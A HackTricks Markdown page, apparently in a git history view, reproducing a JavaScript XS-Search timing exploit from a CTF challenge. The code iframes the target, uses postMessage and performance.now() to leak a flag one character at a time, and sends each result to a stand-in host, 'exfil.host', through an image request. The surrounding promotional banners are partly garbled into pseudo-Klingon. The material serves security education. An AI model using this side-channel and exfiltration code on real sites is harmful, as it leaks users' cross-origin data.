hacktricks/pentesting-web/xs-search/performance.now-example.md

68 lines
3.5 KiB
Markdown
Raw Permalink Normal View History

2023-01-02 14:57:39 +00:00
# performance.now example
<details>
2024-02-10 17:52:19 +00:00
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>tlhIngan Hol</strong></a><strong>!</strong></summary>
2023-01-02 14:57:39 +00:00
2024-02-10 17:52:19 +00:00
* **Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2023-01-02 14:57:39 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-02-08 03:08:28 +00:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-01-02 14:57:39 +00:00
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
2024-02-05 02:29:11 +00:00
**Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
2023-01-02 14:57:39 +00:00
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
async function check(flag) {
2024-02-10 17:52:19 +00:00
let w = frame.contentWindow;
w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
await sleep(1);
w.postMessage({'op': 'search', 'payload': flag}, '*');
let t1 = performance.now();
await sleep(1);
return (performance.now() - t1) > 200;
2023-01-02 14:57:39 +00:00
}
async function main() {
2024-02-10 17:52:19 +00:00
let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
window.frame = document.createElement('iframe');
frame.width = '100%';
frame.height = '700px';
frame.src = 'https://challenge.jsapi.tech/';
document.body.appendChild(frame);
await sleep(1000);
2023-01-02 14:57:39 +00:00
2024-02-10 17:52:19 +00:00
let flag = 'nite{';
while(1) {
for(let c of alpha) {
let result = await Promise.race([
check(flag + c),
new Promise((res) => setTimeout(() => { res(true); }, 300))
]);
console.log(flag + c, result);
if(result) {
flag += c;
break;
}
}
new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
}
2023-01-02 14:57:39 +00:00
}
document.addEventListener('DOMContentLoaded', main);
```
<details>
2024-02-10 17:52:19 +00:00
<summary><strong>qaStaHvIS AWS hacking vItlhutlh</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-01-02 14:57:39 +00:00
2024-02-10 17:52:19 +00:00
* **qaStaHvIS** **cybersecurity company** vIghaj? **HackTricks** **company advertise** **vItlhutlh**? **PEASS latest version** **download HackTricks PDF** **vItlhutlh**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) **chek**!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) **ghItlh** **collection** [**NFTs**](https://opensea.io/collection/the-peass-family) **ghItlh**
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **ghItlh**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) **telegram group** **follow** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **hacktricks-cloud repo** **ghItlh**.
2023-01-02 14:57:39 +00:00
</details>